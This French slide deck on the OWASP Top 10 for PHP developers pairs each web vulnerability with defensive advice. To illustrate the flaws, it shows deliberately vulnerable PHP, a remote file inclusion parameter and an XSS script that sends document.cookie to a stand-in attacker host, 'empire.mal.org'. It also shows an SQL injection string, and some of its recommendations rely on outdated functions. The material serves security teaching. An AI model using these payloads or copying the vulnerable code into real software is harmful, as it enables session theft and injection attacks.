

# **Applications WEB**


développement et sécurité

# OWASP


- ✿ The Open Web Application Security Project
- ✿ <http://www.owasp.org>
- ✿ Les dix vulnérabilités de sécurité applicatives web les plus critiques

# Top 10

## Paramètre non validé

-  l'information contenue dans une requête web n'est pas vérifiée avant d'être utilisée par l'application

## Violation de contrôle d'accès

-  La mise en place des restrictions des droits utilisateur n'est pas correcte et peut être contournée

# Top 10

- ✿ Violation de gestion d'authentification et de session
  - ✿ les accréditations de compte et jetons de session ne sont pas correctement protégés
- ✿ Failles Cross Site Scripting (XSS)
  - ✿ l'application peut être utilisée pour véhiculer une attaque vers le navigateur

# Top 10

## ✿ Débordement de tampon

- ✿ Les composants de l'application qui ne valident pas correctement les paramètres d'entrée peuvent être mis à défaut

## ✿ Injection de commandes

- ✿ L'application passe des paramètres quand elle accède à des systèmes externes ou au système d'exploitation local

# Top 10

## ✿ Mauvaise gestion des erreurs

- ✿ un attaquant peut utiliser les messages d'erreur pour obtenir de l'information sur le fonctionnement interne de l'application

## ✿ Stockage non sécurisé

- ✿ utiliser des fonctions cryptographiques n'est pas simple et peut mener à un protection faible

# Top 10

## ✿ Déni de service

- ✿ Les tentatives ou les attaques peuvent consommer les ressources jusqu'à bloquer le service.

## ✿ Gestion de configuration non sécurisé

- ✿ La configuration du serveur web hébergeant l'application doit être robuste



# Paramètre non validé (1)

- ✿ La requête HTTP peut-être complètement modifiée ou construite avant de la soumettre à l'application WEB
- ✿ Ceci afin de déclencher des attaques
  - ✿ Failles Cross Site Scripting (4)
  - ✿ Débordement de tampon (5)
  - ✿ Failles d'injection (6)



# Paramètre non validé (1)

## ✿ La protection par filtrage

- ✿ Il ne faut pas oublier de présenter l'information dans sa forme simple et de la vérifier.

## ✿ Contrôle côté client

- ✿ Trop facilement contournable
- ✿ Il faut le doubler d'un contrôle côté serveur

# Paramètre non validé (1)

- ✿ Chaque paramètre doit être validé
  - ✿ Type;
  - ✿ Jeu de caractères;
  - ✿ Longueur minimale et maximale;
  - ✿ Nul permit;
  - ✿ Obligatoire;
  - ✿ Duplicatas permit;
  - ✿ Etendue numérique;
  - ✿ Valeurs légales spécifiées;
  - ✿ Modèles spécifiques (expressions régulières).

# Paramètre non validé (1)

- ✿ Développer ou intégrer un coupe-feux applicatif
  - ✿ Service de validation de requête HTTP

# Paramètre non validé (1) & php

```
# option php
# php.ini
register_globals=Off
# httpd.conf ou .htaccess
php_value register_globals off

# vérification des entrées (zip code)
if (preg_match('/^\d{5}(- \d{4})?$/', $_GET['zip'])) {
    $zip = $_GET['zip'];
} else {
    die('Invalid ZIP Code format. ');
}
```

# Paramètre non validé (1) & php

```
<?php
if (authenticated_user())
{
    $authorized = true;
}

if ($authorized)
{
    include ('/highly/sensitive/data.php');
}

?>
```

# Paramètre non validé (1) & php

```
<?php  
include ($path.'/script.php');  
?>
```

```
?path=http%3A%2F%2Fempire.mal.org%2F%3F
```

```
<?php  
include ('http://empire.mal.org/?/script.php');  
?>
```

# Violation de contrôle d'accès (2)

## ✿ Problème simple mais

- ✿ Complexité de mise en œuvre

- ✿ Lié aux contenus et aux fonctions fournis



# Violation de contrôle d'accès (2)

- ✿ Utilisation d'une matrice de contrôle
- ✿ Ne pas mettre l'accès administrateur sur la page d'accueil
- ✿ Identifications sécurisées
- ✿ Les urls protégés doivent l'être fortement
- ✿ Traversée de chemin d'accès
- ✿ Permissions de fichiers
- ✿ Mise en cache côté client

# Violation de contrôle d'accès (2) & php

- ✿ Ne pas implémenter son propre système...

# Violation de gestion d'authentification et de session (3)

- ✿ La gestion d'un compte doit redemander une authentification
- ✿ Ne pas développer sa gestion de sessions
- ✿ Si le site n'est pas ssl et protégé contre le XSS.
  - ✿ Alors le vol de session est possible

# Violation de gestion d'authentification et de session (3)

- ✿ Robustesse des mots de passe
- ✿ Utilisation de mots de passe
- ✿ Contrôle de changement de mot de passe
- ✿ Stockage de mot de passe
- ✿ Protection des accréditations en transit
- ✿ Protection de l'id de session
- ✿ Liste de comptes
- ✿ Mise en cache navigateur
- ✿ Relations d'approbation

# Violation de gestion d'authentification et de session (3) & php

✿ Ne pas implémenter son propre système...

```
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>
```

# Failles Cross-Site Scripting (XSS) (4)

- ✿ L'attaquant soumet du code malveillant à une application Web afin qu'il soit transmis à d'autres utilisateurs
  - ✿ Par stockage
  - ✿ Par réflexion

# Failles Cross-Site Scripting (XSS) (4)

- ✿ Valider la totalité de la requête HTTP
- ✿ Ré encoder les valeurs à afficher en tag html.



# Failles Cross-Site Scripting (XSS) (4) & php

`htmlspecialchars`

`htmlentities`

`strstr`

`strip_tags`

`stripslashes`

`utf8_decode`

# Failles Cross-Site Scripting (XSS) (4) & php

```
<form>
<input type="text" name="message" /><br />
<input type="submit" />
</form>
```

```
<?php
if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$_GET['message']<br />");
    fclose($fp);
}
readfile('./messages.txt');
?>
```

```
<script>
document.location =
'http://empire.mal.org/steal_cookies?cookies=' +
document.cookie;
</script>
```

# Débordement de tampon (5)

- ✿ Serveurs Web
- ✿ Bibliothèques utilisées
- ✿ Applicatif Web

# Débordement de tampon (5)

- ✿ Se tenir au courant et patcher
- ✿ Vérification des longueurs en entrée

# Débordement de tampon (5) & php

✿ Mise à jour php de sécurité

# Failles d'injection (6)

- ✿ Appel à des commandes externes
- ✿ Injection SQL

# Failles d'injection (6)

- ✿ Ne pas utiliser d'interpréteur externe
  - ✿ Remplacer par des librairies
- ✿ Valider les données à insérer dans une base
- ✿ Vérifier les privilèges de l'utilisateur qui tourne l'applicatif Web
- ✿ Si appel externe
  - ✿ Vérifier tout
  - ✿ Code retour



# Failles d'injection (6) & php

- ✿ Utiliser des bibliothèques plutôt que des appels systèmes

```
escapeshellcmd
```

```
escapeshellarg
```

```
realpath
```

```
addslashes
```

```
mysql_real_escape_string
```

# Failles d'injection (6) & php

```
<?php
$sql = "  INSERT
        INTO users (    reg_username,
                       reg_password,
                       reg_email)
        VALUES (    '{$_POST['reg_username']}',
                    '$reg_password',
                    '{$_POST['reg_email']}' );";

?>
```

```
bad_guy, 'mypass, '' ), ('good_guy
```

```
<?php
$sql = "  INSERT
        INTO users (    reg_username,
                       reg_password,
                       reg_email)
        VALUES (    'bad_guy, 'mypass, '' ), ('good_guy',
                    '1234',
                    'toto@totot.com' );";

?>
```

# Traitement d'erreur incorrect (7)

- ✿ Ne pas afficher des dumps ou piles d'erreurs à l'utilisateur.
- ✿ Les applications web génèrent beaucoup d'erreurs "normales"
  - ✿ Traiter correctement.
- ✿ Inconsistance des messages

# Traitement d'erreur incorrect (7)

- ✿ Formater les erreurs pour l'utilisateur sans donner d'information internes
  - ✿ Les informations internes doivent être mises dans des fichiers
- ✿ Détecter les taux anormaux d'erreur
  - ✿ Signe d'une tentative d'attaque
  - ✿ Ou d'un problème grave

# Traitement d'erreur incorrect (7) & php

```
log_errors = on
```

```
display_errors = off
```

# Stockage non sécurisé (8)

## ✿ Les erreurs sont :

- ✿ Manque de chiffrement des données critiques
- ✿ Stockage peu sûr des clefs, certificats et mots de passe
- ✿ Mauvaises sources d'incohérence
- ✿ Mauvais choix d'algorithme
- ✿ Invention d'un algorithme
- ✿ Absence de support pour le changement de clef de chiffrement et autres procédures de maintenance

# Stockage non sécurisé (8)

- ✿ Réduire au minimum l'utilisation du chiffrement et ne garder que l'information nécessaire
- ✿ Utiliser des fonction à sens unique
- ✿ Utiliser des bibliothèques vérifiées et sûres



# Stockage non sécurisé (8) & php

✿ Utiliser mcrypt

# Déni de service (9)

- ✿ Les applications web y sont très sensibles
- ✿ Extrêmement dur à prévoir dans le code
- ✿ Une attaque en déni de services d'une application web peut provoquer un déni de services d'autres services (mail, base de données, ...)
- ✿ Bloque l'accès des utilisateurs légitimes

# Déni de service (9)

- ✿ Tester la charge de l'application pour les accès non authentifiés
- ✿ Partager les ressources (connexion à une base de données)
- ✿ Tester les codes d'erreur et les traiter

# Déni de service (9) & php

- ✿ partage de connexion base de données (adodb)

# Gestion de configuration non sécurisée (10)

- ✿ Configuration du serveur web
- ✿ Prendre en compte dans le développement les options de configuration
- ✿ Prévoir un durcissement de sécurité du serveur web

# Gestion de configuration non sécurisée (10)

- ✿ Tester les options de configuration qui influent le comportement de l'application.
- ✿ Surtout si l'application est distribuée à des tiers.
- ✿ Si votre application utilise des options générant des risques, améliorer le code correspondant, ou trouver des alternatives.

# Gestion de configuration non sécurisée (10) & php

- ✿ `ini_get('allow_url_fopen');`
- ✿ `allow_url_open` génère des risques
- ✿ on peut la remplacer en utilisant “curl”

# Références

- ✿ <http://fr.php.net/manual/fr/security.php>
  - ♣ Le minimum
- ✿ <http://www.owasp.org/index.jsp>
  - ♣ Guidelines
- ✿ <http://www.sklar.com/page/article/owasp-top-ten>
  - ♣ Owasp appliqué à php (version courte)
- ✿ <http://pear.php.net/>
  - ♣ Bibliothèques (ne pas réinventer la pluie)
- ✿ <http://adodb.sourceforge.net/>
  - ♣ Couche d'abstraction base de données